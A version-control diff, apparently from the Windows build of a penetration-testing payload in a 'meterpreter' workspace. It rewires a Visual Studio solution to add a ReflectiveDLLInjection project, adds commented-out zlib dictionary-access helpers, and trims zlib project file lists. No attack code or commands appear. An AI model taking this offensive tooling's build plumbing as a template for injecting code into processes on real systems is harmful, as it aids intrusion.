{EA6A09AC-04BB-423D-8842-CA48DF901058} = {EA6A09AC-04BB-423D-8842-CA48DF901058}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libjpeg", "libjpeg\libjpeg.vcproj", "{224A4BAC-DEDE-43A4-81B9-14545F16E20E}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "omnithread", "omnithread\omnithread.vcproj", "{2D948CAF-9622-495C-AB44-6337A6A9D440}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zlib", "zlib\zlib.vcproj", "{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDLLInjection", "..\..\meterpreter\workspace\ReflectiveDLLInjection\ReflectiveDLLInjection.vcproj", "{72F0246A-A38D-4547-9057-46020E8E503D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
@ -31,35 +22,12 @@ Global
{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|Win32.Build.0 = Release|Win32
{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.ActiveCfg = Release|x64
{EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.Build.0 = Release|x64
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Debug|Win32.ActiveCfg = Debug|Win32
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Debug|Win32.Build.0 = Debug|Win32
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Debug|x64.ActiveCfg = Debug|Win32
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Release|Win32.ActiveCfg = Release|Win32
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Release|Win32.Build.0 = Release|Win32
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Release|x64.ActiveCfg = Release|x64
{224A4BAC-DEDE-43A4-81B9-14545F16E20E}.Release|x64.Build.0 = Release|x64
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Debug|Win32.ActiveCfg = Debug|Win32
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Debug|Win32.Build.0 = Debug|Win32
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Debug|x64.ActiveCfg = Debug|Win32
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Release|Win32.ActiveCfg = Release|Win32
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Release|Win32.Build.0 = Release|Win32
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Release|x64.ActiveCfg = Release|x64
{2D948CAF-9622-495C-AB44-6337A6A9D440}.Release|x64.Build.0 = Release|x64
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Debug|Win32.ActiveCfg = Debug|Win32
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Debug|Win32.Build.0 = Debug|Win32
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Debug|x64.ActiveCfg = Debug|Win32
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Release|Win32.ActiveCfg = Release|Win32
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Release|Win32.Build.0 = Release|Win32
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Release|x64.ActiveCfg = Release|x64
{A44055F1-6AAA-4F72-8939-C5C294CE6EEE}.Release|x64.Build.0 = Release|x64
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|Win32.ActiveCfg = Debug|Win32
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|Win32.Build.0 = Debug|Win32
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|x64.ActiveCfg = Debug|x64
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|x64.Build.0 = Debug|x64
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|Win32.ActiveCfg = Release|Win32
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|Win32.Build.0 = Release|Win32
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|x64.ActiveCfg = Release|x64
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|x64.Build.0 = Release|x64
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.ActiveCfg = Debug|Win32
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.Build.0 = Debug|Win32
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|x64.ActiveCfg = Debug|Win32
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.ActiveCfg = Release|Win32
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.Build.0 = Release|Win32
{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|x64.ActiveCfg = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View File

@ -286,7 +286,39 @@ int ZEXPORT deflateInit2_(strm, level, method, windowBits, memLevel, strategy,
return deflateReset(strm);
}
/* ========================================================================= */
/*
void getdictionary( z_streamp strm, unsigned char ** address, unsigned long * size )
{
do
{
deflate_state * state = strm->state;
if( !state || !address || !size )
break;
*address = state->window;
*size = state->window_size;
} while( 0 );
}
void setdictionary( z_streamp strm, unsigned char * address, unsigned long size )
{
do
{
deflate_state * state = strm->state;
if( !state || !address || !size )
break;
if( state->window )
free( state->window );
state->window = address;
state->window_size = size;
} while( 0 );
}*/
/* ========================================================================= */
int ZEXPORT deflateSetDictionary (strm, dictionary, dictLength)
z_streamp strm;

View File

@ -853,6 +853,8 @@ ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
/* various hacks, don't look :) */
ZEXTERN void ZEXPORT getdictionary( z_streamp strm, unsigned char ** address, unsigned long * size );
ZEXTERN void ZEXPORT setdictionary( z_streamp strm, unsigned char * address, unsigned long size );
/* deflateInit and inflateInit are macros to allow checking the zlib version
* and the compiler's view of z_stream:

View File

@ -301,111 +301,11 @@
Name="Source Files"
Filter="cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
>
<File
RelativePath=".\adler32.c"
>
</File>
<File
RelativePath=".\compress.c"
>
</File>
<File
RelativePath=".\crc32.c"
>
</File>
<File
RelativePath=".\deflate.c"
>
</File>
<File
RelativePath=".\infblock.c"
>
</File>
<File
RelativePath=".\infcodes.c"
>
</File>
<File
RelativePath=".\inffast.c"
>
</File>
<File
RelativePath=".\inflate.c"
>
</File>
<File
RelativePath=".\inftrees.c"
>
</File>
<File
RelativePath=".\infutil.c"
>
</File>
<File
RelativePath=".\maketree.c"
>
</File>
<File
RelativePath=".\trees.c"
>
</File>
<File
RelativePath=".\uncompr.c"
>
</File>
<File
RelativePath=".\zutil.c"
>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl"
>
<File
RelativePath=".\deflate.h"
>
</File>
<File
RelativePath=".\infblock.h"
>
</File>
<File
RelativePath=".\infcodes.h"
>
</File>
<File
RelativePath=".\inffast.h"
>
</File>
<File
RelativePath=".\inffixed.h"
>
</File>
<File
RelativePath=".\inftrees.h"
>
</File>
<File
RelativePath=".\infutil.h"
>
</File>
<File
RelativePath=".\trees.h"
>
</File>
<File
RelativePath=".\zconf.h"
>
</File>
<File
RelativePath=".\zlib.h"
>
</File>
<File
RelativePath=".\zutil.h"
>
</File>
</Filter>
</Files>
<Globals>